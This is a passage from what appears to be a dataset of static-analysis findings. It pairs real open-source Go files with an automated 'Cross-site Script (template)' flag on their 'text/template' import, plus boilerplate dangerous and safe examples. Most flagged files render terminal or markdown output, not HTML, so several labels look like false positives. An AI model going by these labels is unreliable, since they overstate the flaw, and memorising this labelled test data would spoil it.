under the License.\n */\n\npackage impl\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"text/template\"\n\n\t\"github.com/wso2/product-apim-tooling/import-export-cli/formatter\"\n\t\"github.com/wso2/product-apim-tooling/import-export-cli/utils\"\n)\n\nconst (\n\tapiIdHeader = \"ID\"\n\tapiNameHeader = \"NAME\"\n\tapiContextHeader = \"CONTEXT\"\n\tapiVersionHeader = \"VERSION\"\n\tapiProviderHeader = \"PROVIDER\"\n\tapiStatusHeader = \"STATUS\"\n\n\tdefaultApiTableFormat = \"table {{.Id}}\\t{{.Name}}\\t{{.Version}}\\t{{.Context}}\\t{{.LifeCycleStatus}}\\t{{.Provider}}\"\n)\n\nvar queryParamAdded bool = false\n\n// api holds information about an API for outputting\ntype api struct {\n\tid string\n\tname string\n\tcontext string\n\tversion string\n\tprovider string\n\tlifeCycleStatus string\n}\n\n// creates a new api from utils.API\nfunc newApiDefinitionFromAPI(a utils.API) *api {\n\treturn &api{a.ID, a.Name, a.Context, a.Version, a.Provider,\n\t\ta.LifeCycleStatus}\n}\n\n// Id of api\nfunc (a api) Id() string {\n\treturn a.id\n}\n\n// Name of api\nfunc (a api) Name() string {\n\treturn a.name\n}\n\n// Context of api\nfunc (a api) Context() string {\n\treturn a.context\n}\n\n// Version of api\nfunc (a api) Version() string {\n\treturn a.version\n}\n\n// Lifecycle Status of api\nfunc (a api) LifeCycleStatus() string {\n\treturn a.lifeCycleStatus\n}\n\n// Provider of api\nfunc (a api) Provider() string {\n\treturn a.provider\n}\n\n// MarshalJSON marshals api using custom marshaller which uses methods instead of fields\nfunc (a *api) MarshalJSON() ([]byte, error) {\n\treturn formatter.MarshalJSON(a)\n}\n\n// GetAPIListFromEnv\n// @param accessToken : Access Token for the environment\n// @param environment : Environment name to use when getting the API List\n// @param query : string to be matched against the API names\n// @param limit : total # of results to return\n// @return count (no. of APIs)\n// @return array of API objects\n// @return error\nfunc GetAPIListFromEnv(accessToken, environment, query, limit string) (count int32, apis []utils.API, err error) {\n\tapiListEndpoint := utils.GetApiListEndpointOfEnv(environment, utils.MainConfigFilePath)\n\treturn GetAPIList(accessToken, apiListEndpoint, query, limit)\n}\n\n// PrintAPIs\nfunc PrintAPIs(apis []utils.API, format string) {\n\tif format == \"\" {\n\t\tformat = defaultApiTableFormat\n\t} else if format == utils.JsonArrayFormatType {\n\t\tutils.ListArtifactsInJsonArrayFormat(apis, utils.ProjectTypeApi)\n\t\treturn\n\t}\n\n\t// create api context with standard output\n\tapiContext := formatter.NewContext(os.Stdout, format)\n\n\t// create a new renderer function which iterate collection\n\trenderer := func(w io.Writer, t *template.Template) error {\n\t\tfor _, a := range apis {\n\t\t\tif err := t.Execute(w, newApiDefinitionFromAPI(a)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t_, _ = w.Write([]byte{'\\n'})\n\t\t}\n\t\treturn nil\n\t}\n\n\t// headers for table\n\tapiTableHeaders := map[string]string{\n\t\t\"Id\": apiIdHeader,\n\t\t\"Name\": apiNameHeader,\n\t\t\"Context\": apiContextHeader,\n\t\t\"Version\": apiVersionHeader,\n\t\t\"LifeCycleStatus\": apiStatusHeader,\n\t\t\"Provider\": apiProviderHeader,\n\t}\n\n\t// execute context\n\tif err := apiContext.Write(renderer, apiTableHeaders); err != nil {\n\t\tfmt.Println(\"Error executing template:\", err.Error())\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 25, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "b6c1418b6fe59d80b09637721769cfe4eb0b26e921f909fab14030857df4e1bd", "license": {"spdx": ["Apache-2.0"], "repo": "odknt/libasciidoc", "path": "pkg/renderer/html5/quoted_text.go", "repo_head_hexsha": "410cd293d378c29af2e7cd549dad41fde170fc4b", "stack_hexsha": "af5de0b4e13a0bc2c469dd4784a76a3a34750e79", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package html5\n\nimport (\n\t\"bytes\"\n\t\"html/template\"\n\ttexttemplate \"text/template\"\n\n\t\"github.com/bytesparadise/libasciidoc/pkg/renderer\"\n\t\"github.com/bytesparadise/libasciidoc/pkg/types\"\n\t\"github.com/pkg/errors\"\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nvar boldTextTmpl texttemplate.Template\nvar italicTextTmpl texttemplate.Template\nvar monospaceTextTmpl texttemplate.Template\nvar subscriptTextTmpl texttemplate.Template\nvar superscriptTextTmpl texttemplate.Template\n\n// initializes the templates\nfunc init() {\n\tboldTextTmpl = newTextTemplate(\"bold text\", \"{{ . }}\")\n\titalicTextTmpl = newTextTemplate(\"italic text\", \"{{ . }}\")\n\tmonospaceTextTmpl = newTextTemplate(\"monospace text\", \"{{ . }}\")\n\tsubscriptTextTmpl = newTextTemplate(\"subscript text\", \"{{ . }}\")\n\tsuperscriptTextTmpl = newTextTemplate(\"superscript text\", \"{{ . }}\")\n}\n\nfunc renderQuotedText(ctx *renderer.Context, t *types.QuotedText) ([]byte, error) {\n\telementsBuffer := bytes.NewBuffer(nil)\n\tfor _, element := range t.Elements {\n\t\tb, err := renderElement(ctx, element)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"unable to render text quote\")\n\t\t}\n\t\t_, err = elementsBuffer.Write(b)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"unable to render text quote\")\n\t\t}\n\t}\n\tresult := bytes.NewBuffer(nil)\n\tvar tmpl texttemplate.Template\n\tswitch t.Kind {\n\tcase types.Bold:\n\t\ttmpl = boldTextTmpl\n\tcase types.Italic:\n\t\ttmpl = italicTextTmpl\n\tcase types.Monospace:\n\t\ttmpl = monospaceTextTmpl\n\tcase types.Subscript:\n\t\ttmpl = subscriptTextTmpl\n\tcase types.Superscript:\n\t\ttmpl = superscriptTextTmpl\n\tdefault:\n\t\treturn nil, errors.Errorf(\"unsupported quoted text kind: '%v'\", t.Kind)\n\t}\n\terr := tmpl.Execute(result, template.HTML(elementsBuffer.String())) //nolint: gosec\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to render monospaced quote\")\n\t}\n\tlog.Debugf(\"rendered bold quote: %s\", result.Bytes())\n\treturn result.Bytes(), nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "91243943471c702ab5af5da0018a227c11083f39e43134c2a7ac68c6d82a4c4f", "license": {"spdx": ["BSD-3-Clause"], "repo": "henderjon/firehoser", "path": "welcome.go", "repo_head_hexsha": "0773d8dfabc5bedff651c9298c4cf411613748df", "stack_hexsha": "dce9b4cd3175c9bac6758f2faa75313e4f5603c7", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package main\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\"text/template\"\n)\n\nfunc welcome() {\n\n\tmeasure := \"kb\"\n\tif scale {\n\t\tmeasure = \"mb\"\n\t}\n\n\tt, _ := template.New(\"welcome\").Parse(`\nOmnilogger is a simple web server to coalesce data via HTTP POST.\n\nCurrent settings:\n - Server Port: {{.Port}}\n - Bearer Token: {{.Pswd}}\n - Custom Header: {{.Header}}\n - Request Buffer Size: {{.Buf}}\n - Number of Workers: {{.Workers}}\n - Worker Size: {{.Size}}{{.Scale}}\n - Log Dir: {{.Dir}}\n\n`)\n\n\tif e := t.Execute(os.Stderr, struct {\n\t\tPort string\n\t\tPswd string\n\t\tHeader string\n\t\tBuf int\n\t\tWorkers int\n\t\tSize int\n\t\tScale string\n\t\tDir string\n\t}{\n\t\tPort: port,\n\t\tPswd: pswd,\n\t\tHeader: customHeader,\n\t\tBuf: requestBuffer,\n\t\tWorkers: numWorkers,\n\t\tSize: size,\n\t\tScale: measure,\n\t\tDir: logDir,\n\t}); e != nil {\n\t\tlog.Fatal(e)\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "f3984e0d4e615d1605b3cfeeee8d1bc5fe81ac65fdcfb7504e01a320578138d3", "license": {"spdx": ["MIT"], "repo": "moul/translator", "path": "vendor/github.com/moul/protoc-gen-gotemplate/helpers.go", "repo_head_hexsha": "bbbb28cd3823ab48cba468041ac576610019bac3", "stack_hexsha": "3492b04a396cce68acf26595288bd8b825d3ed6b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"text/template\"\n\n\t\"github.com/Masterminds/sprig\"\n)\n\nvar ProtoHelpersFuncMap = template.FuncMap{\n\t\"string\": func(i interface {\n\t\tString() string\n\t}) string {\n\t\treturn i.String()\n\t},\n\t\"json\": func(v interface{}) string {\n\t\ta, _ := json.Marshal(v)\n\t\treturn string(a)\n\t},\n\t\"prettyjson\": func(v interface{}) string {\n\t\ta, _ := json.MarshalIndent(v, \"\", \" \")\n\t\treturn string(a)\n\t},\n\t\"first\": func(a []interface{}) interface{} {\n\t\treturn a[0]\n\t},\n\t\"last\": func(a []interface{}) interface{} {\n\t\treturn a[len(a)-1]\n\t},\n}\n\nfunc init() {\n\tfor k, v := range sprig.TxtFuncMap() {\n\t\tProtoHelpersFuncMap[k] = v\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "aed96e190827a03ea3979e845026bf615526a66d3aec7f783f0e092f6f23e79b", "license": {"spdx": ["Apache-2.0"], "repo": "marjamis/kata-go", "path": "markdownTemplates/main.go", "repo_head_hexsha": "b6ba0fa70aa9eb1d09a1b390eb3eb0171f19b326", "stack_hexsha": "753878be30678e35693e5e636ea7095695a44344", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n)\n\nvar funcMap = template.FuncMap{\n\t\"toLower\": toLower,\n\t\"toUpper\": toUpper,\n}\n\nfunc toUpper(s string) string {\n\treturn strings.ToUpper(s)\n}\n\nfunc toLower(s string) string {\n\treturn strings.ToLower(s)\n}\n\nfunc main() {\n\t// Prepare some data to insert into the template.\n\ttable := \"| a | b |\\n| --- | --- |\\n| 1 | 2 |\\n\"\n\tstats := \"| C | D |\\n| --- | --- |\\n| 1a | 2a |\\n\"\n\tservice := struct {\n\t\tName string\n\t\tTable string\n\t\tFooter string\n\t\tStats string\n\t\tObjects []string\n\t\tOuterLoop []int\n\t}{\n\t\tName: \"TestName\",\n\t\tTable: table,\n\t\tFooter: \"This is the end.\",\n\t\tStats: stats,\n\t\tObjects: []string{\"f\", \"g\", \"h\"},\n\t\tOuterLoop: []int{0, 1, 2, 3, 4},\n\t}\n\n\t//New(\"generic.md.templ\") - The template name and file name are the same to prevent the creation of a new template but instead use one from New with that name. Names can be defined as well as be the filename. Also template.ExecuteTemplate() lets you specify an explicit filename to use as the base rather than the first being parsed.\n\n\t//ParseFiles is used instead of ParseGlob to show that while different \"content\" templates being defined in different files are being used the content keyword is being use in generic.md.templ and is simply filled in with the content template depending on which file is parsed. If ParseGlob is used the last one of the name would be used and would break this test.\n\n\t//Note: These examples show a lot of different ways to have the templating setup which is powerful but all the different tests do also make it a bit hard to follow. This exemplifies for production code this has to be properly thought out for easy reading and debugging.\n\n\ttmpl := template.Must(template.New(\"base.md.templ\").Funcs(funcMap).ParseFiles(\"./templates/base.md.templ\", \"./templates/stats.md.templ\", \"./templates/context.md.templ\", \"./templates/content1.md.templ\"))\n\tvar o bytes.Buffer\n\ttmpl.Execute(&o, service)\n\tfmt.Printf(\"Template Example 1\\n%s\\n\\n\", o.String())\n\n\ttmpl2 := template.Must(template.New(\"base.md.templ\").Funcs(funcMap).ParseFiles(\"./templates/base.md.templ\", \"./templates/stats.md.templ\", \"./templates/context.md.templ\", \"./templates/content2.md.templ\"))\n\tvar o2 bytes.Buffer\n\t//Setting to nil to show the if statement portion\n\tservice.Objects = nil\n\ttmpl2.Execute(&o2, service)\n\tfmt.Printf(\"Template Example 2\\n%s\\n\\n\", o2.String())\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "dfefa42e3fb2fdafff113f71545df2fc033aa7bb015a196c133b8f56cae08323", "license": {"spdx": ["Apache-2.0"], "repo": "harborapp/harbor-cli", "path": "cmd/umschlag-cli/profile.go", "repo_head_hexsha": "31f08ff3c54ddd3276573c6f1af7c6d243990cd6", "stack_hexsha": "ae405d831ab9e56e9a99c05bbc9d2ee0ab437b51", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"os\"\n\t\"text/template\"\n\n\t\"github.com/umschlag/umschlag-go/umschlag\"\n\t\"gopkg.in/urfave/cli.v2\"\n)\n\n// tmplProfileShow represents a profile within details view.\nvar tmplProfileShow = \"Slug: \\x1b[33m{{ .Slug }} \\x1b[0m\" + `\nID: {{ .ID }}\nUsername: {{ .Username }}\nEmail: {{ .Email }}\nActive: {{ .Active }}\nAdmin: {{ .Admin }}\nCreated: {{ .CreatedAt.Format \"Mon Jan _2 15:04:05 MST 2006\" }}\nUpdated: {{ .UpdatedAt.Format \"Mon Jan _2 15:04:05 MST 2006\" }}\n`\n\n// Profile provides the sub-command for the profile API.\nfunc Profile() *cli.Command {\n\treturn &cli.Command{\n\t\tName: \"profile\",\n\t\tUsage: \"Profile related sub-commands\",\n\t\tSubcommands: []*cli.Command{\n\t\t\t{\n\t\t\t\tName: \"show\",\n\t\t\t\tUsage: \"Show profile details\",\n\t\t\t\tFlags: []cli.Flag{\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"format\",\n\t\t\t\t\t\tValue: tmplProfileShow,\n\t\t\t\t\t\tUsage: \"Custom output format\",\n\t\t\t\t\t},\n\t\t\t\t\t&cli.BoolFlag{\n\t\t\t\t\t\tName: \"json\",\n\t\t\t\t\t\tValue: false,\n\t\t\t\t\t\tUsage: \"Print in JSON format\",\n\t\t\t\t\t},\n\t\t\t\t\t&cli.BoolFlag{\n\t\t\t\t\t\tName: \"xml\",\n\t\t\t\t\t\tValue: false,\n\t\t\t\t\t\tUsage: \"Print in XML format\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAction: func(c *cli.Context) error {\n\t\t\t\t\treturn Handle(c, ProfileShow)\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tName: \"token\",\n\t\t\t\tUsage: \"Show your token\",\n\t\t\t\tFlags: []cli.Flag{\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"username\",\n\t\t\t\t\t\tValue: \"\",\n\t\t\t\t\t\tUsage: \"Username for authentication\",\n\t\t\t\t\t},\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"password\",\n\t\t\t\t\t\tValue: \"\",\n\t\t\t\t\t\tUsage: \"Password for authentication\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAction: func(c *cli.Context) error {\n\t\t\t\t\treturn Handle(c, ProfileToken)\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tName: \"update\",\n\t\t\t\tUsage: \"Update profile details\",\n\t\t\t\tFlags: []cli.Flag{\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"slug\",\n\t\t\t\t\t\tValue: \"\",\n\t\t\t\t\t\tUsage: \"Provide a slug\",\n\t\t\t\t\t},\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"username\",\n\t\t\t\t\t\tValue: \"\",\n\t\t\t\t\t\tUsage: \"Provide a username\",\n\t\t\t\t\t},\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"email\",\n\t\t\t\t\t\tValue: \"\",\n\t\t\t\t\t\tUsage: \"Provide a email\",\n\t\t\t\t\t},\n\t\t\t\t\t&cli.StringFlag{\n\t\t\t\t\t\tName: \"password\",\n\t\t\t\t\t\tValue: \"\",\n\t\t\t\t\t\tUsage: \"Provide a password\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAction: func(c *cli.Context) error {\n\t\t\t\t\treturn Handle(c, ProfileUpdate)\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}\n\n// ProfileShow provides the sub-command to show profile details.\nfunc ProfileShow(c *cli.Context, client umschlag.ClientAPI) error {\n\trecord, err := client.ProfileGet()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif c.IsSet(\"json\") && c.IsSet(\"xml\") {\n\t\treturn fmt.Errorf(\"conflict, you can only use json or xml at once\")\n\t}\n\n\tif c.Bool(\"xml\") {\n\t\tres, err := xml.MarshalIndent(record, \"\", \" \")\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Fprintf(os.Stdout, \"%s\\n\", res)\n\t\treturn nil\n\t}\n\n\tif c.Bool(\"json\") {\n\t\tres, err := json.MarshalIndent(record, \"\", \" \")\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Fprintf(os.Stdout, \"%s\\n\", res)\n\t\treturn nil\n\t}\n\n\ttmpl, err := template.New(\n\t\t\"_\",\n\t).Funcs(\n\t\tglobalFuncMap,\n\t).Funcs(\n\t\tsprigFuncMap,\n\t).Parse(\n\t\tfmt.Sprintf(\"%s\\n\", c.String(\"format\")),\n\t)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn tmpl.Execute(os.Stdout, record)\n}\n\n// ProfileToken provides the sub-command to show your token.\nfunc ProfileToken(c *cli.Context, client umschlag.ClientAPI) error {\n\tif !client.IsAuthenticated() {\n\t\tif !c.IsSet(\"username\") {\n\t\t\treturn fmt.Errorf(\"please provide a username\")\n\t\t}\n\n\t\tif !c.IsSet(\"password\") {\n\t\t\treturn fmt.Errorf(\"please provide a password\")\n\t\t}\n\n\t\tlogin, err := client.AuthLogin(\n\t\t\tc.String(\"username\"),\n\t\t\tc.String(\"password\"),\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tclient = umschlag.NewClientToken(\n\t\t\tc.String(\"server\"),\n\t\t\tlogin.Token,\n\t\t)\n\t}\n\n\trecord, err := client.ProfileToken()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Fprintf(os.Stdout, \"%s\\n\", record.Token)\n\treturn nil\n}\n\n// ProfileUpdate provides the sub-command to update the profile.\nfunc ProfileUpdate(c *cli.Context, client umschlag.ClientAPI) error {\n\trecord, err := client.ProfileGet()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tchanged := false\n\n\tif val := c.String(\"slug\"); c.IsSet(\"slug\") && val != record.Slug {\n\t\trecord.Slug = val\n\t\tchanged = true\n\t}\n\n\tif val := c.String(\"username\"); c.IsSet(\"username\") && val != record.Username {\n\t\trecord.Username = val\n\t\tchanged = true\n\t}\n\n\tif val := c.String(\"email\"); c.IsSet(\"email\") && val != record.Email {\n\t\trecord.Email = val\n\t\tchanged = true\n\t}\n\n\tif val := c.String(\"password\"); c.IsSet(\"password\") {\n\t\trecord.Password = val\n\t\tchanged = true\n\t}\n\n\tif changed {\n\t\t_, patch := client.ProfilePatch(\n\t\t\trecord,\n\t\t)\n\n\t\tif patch != nil {\n\t\t\treturn patch\n\t\t}\n\n\t\tfmt.Fprintf(os.Stderr, \"Successfully updated\\n\")\n\t} else {\n\t\tfmt.Fprintf(os.Stderr, \"Nothing to update...\\n\")\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "94c52c131ba960febd366afc60c2236b5c5384c9a7bfa5a9d9fb6d4afd2e9185", "license": {"spdx": ["MIT"], "repo": "nikolay-turpitko/structor", "path": "el/el.go", "repo_head_hexsha": "3662efb4aee543bcfef8e0e620ce9abb23b9b1a9", "stack_hexsha": "7f33385114b8fdf890632b4cc8efc4243004f9d7", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 13, "entireCode": "/*\nPackage el provides an interface and default implementation of expression\nlanguage (EL) interpreter for struct tags.\n\nDefault implementation is simply based on \"text/template\".\n*/\npackage el\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/nikolay-turpitko/structor/funcs/use\"\n)\n\n// Interpreter is an interface of EL interpreter.\ntype Interpreter interface {\n\t// Execute parses and executes expression with a given context.\n\tExecute(expression string, ctx *Context) (result interface{}, err error)\n}\n\n// The InterpreterFunc type is an adapter to allow the use of ordinary\n// functions as EL interpreter. If f is a function with the appropriate\n// signature, InterpreterFunc(f) is a Interpreter that calls f.\ntype InterpreterFunc func(string, *Context) (interface{}, error)\n\n// Execute calls f(s, ctx).\nfunc (f InterpreterFunc) Execute(s string, ctx *Context) (interface{}, error) {\n\treturn f(s, ctx)\n}\n\n// Context is a context, passed to interpreter.\n// It contains information about currently processed field, struct and extra.\ntype Context struct {\n\t// Name of the currently processed field.\n\tName string\n\t// Name of the currently processed field including type.\n\tLongName string\n\t// Current value of the currently processed filed.\n\tVal interface{}\n\t// All other tags of the currently processed field.\n\tTags map[string]string\n\t// Currently processed struct.\n\tStruct interface{}\n\t// Extra context structure.\n\tExtra interface{}\n\t// Temporary partial result evaluated on the current substruct.\n\tSub interface{}\n\t// Function, which knows how to evaluate expression with different\n\t// interpreter.\n\tEvalExpr EvalExprFunc\n}\n\n// EvalExprFunc is a type of function, which knows how to evaluate given\n// expression using given interpreter name and context.\n// It is used to implement special predefined custom function \"eval\", available\n// within EL.\ntype EvalExprFunc func(\n\tinterpreterName, expression string,\n\tcontext *Context) (interface{}, error)\n\n// DefaultInterpreter is a default implementation of Interpreter,\n// which is based on \"text/template\".\n//\n// Besides Funcs passed to it, DefaultInterpreter creates these additional\n// custom function for use in EL expressions:\n//\n// - set\n// - eval\n//\n// Function \"set\" with signature `func (r interface{}) interface{}` passes\n// argument to result, but stores it internally to be used as an expression\n// result. It's intention is to set expression result to some concrete type,\n// other than string (which is only type \"text/template\" allows by design).\n// Simply put, when you interested in interface{} result and not in it's\n// default string representation, use \"set\" to store result at the end of\n// expression.\n//\n// Function \"eval\" with signature `func(intrpr, expr string) (interface{}, error)`\n// can be used to evaluate given expression with given interpreter.\n// This can be useful to evaluate expression passed as a string within context.\n// This feature works with support of the calling code, which passes actual\n// implementation of the \"eval\" function in Context.EvalExpr().\n// Interpreter name should be known to calling code. For example, for known\n// implementation (structor.NewEvaluator()) interpreter name is a tag name,\n// onto which given interpreter is mapped during creation of evaluator.\n//\n// Restrictions of \"text/template\" package applied to custom functions.\ntype DefaultInterpreter struct {\n\t// Custom functions, available for use in EL expressions.\n\tFuncs use.FuncMap\n\t// Left delimiter for templates.\n\tLeftDelim string\n\t// Right delimiter for templates.\n\tRightDelim string\n\t// Automatically enclose passed expression into delimiters before\n\t// interpretation (if it is not already enclosed). This allows to pass\n\t// simplified expressions. For example, `atoi \"42\"` instead of\n\t// `{{atoi \"42\"}}`.\n\tAutoEnclose bool\n}\n\n// Execute implements Interpreter.Execute()\nfunc (i *DefaultInterpreter) Execute(\n\texpression string,\n\tctx *Context) (interface{}, error) {\n\tfuncs := template.FuncMap{}\n\tfor k, v := range i.Funcs {\n\t\tfuncs[k] = v\n\t}\n\tvar res interface{}\n\tresultEvaluated := false\n\tfuncs[\"set\"] = func(r interface{}) interface{} {\n\t\tres = r\n\t\tresultEvaluated = true\n\t\treturn r\n\t}\n\tfuncs[\"eval\"] = func(intrpr, expr string) (interface{}, error) {\n\t\treturn ctx.EvalExpr(intrpr, expr, ctx)\n\t}\n\ttemplName := fmt.Sprintf(\"<<%s>>\", ctx.LongName)\n\tleft := i.LeftDelim\n\tright := i.RightDelim\n\tif left == \"\" {\n\t\tleft = \"{{\"\n\t}\n\tif right == \"\" {\n\t\tright = \"}}\"\n\t}\n\tif i.AutoEnclose &&\n\t\t!(strings.HasPrefix(expression, left) &&\n\t\t\tstrings.HasSuffix(expression, right)) {\n\t\texpression = fmt.Sprintf(\"%s%s%s\", left, expression, right)\n\t}\n\tt, err := template.\n\t\tNew(templName).\n\t\tDelims(left, right).\n\t\tFuncs(funcs).\n\t\tParse(expression)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar buf bytes.Buffer\n\terr = t.Execute(&buf, ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resultEvaluated {\n\t\treturn res, nil\n\t}\n\treturn buf.String(), nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "911c4ef8dea9f50fd9ececce71dcdff6333cebc0a4d1889b33c9b88bb441e829", "license": {"spdx": ["Apache-2.0"], "repo": "fat4lix/protokaf", "path": "internal/calldata/calldata.go", "repo_head_hexsha": 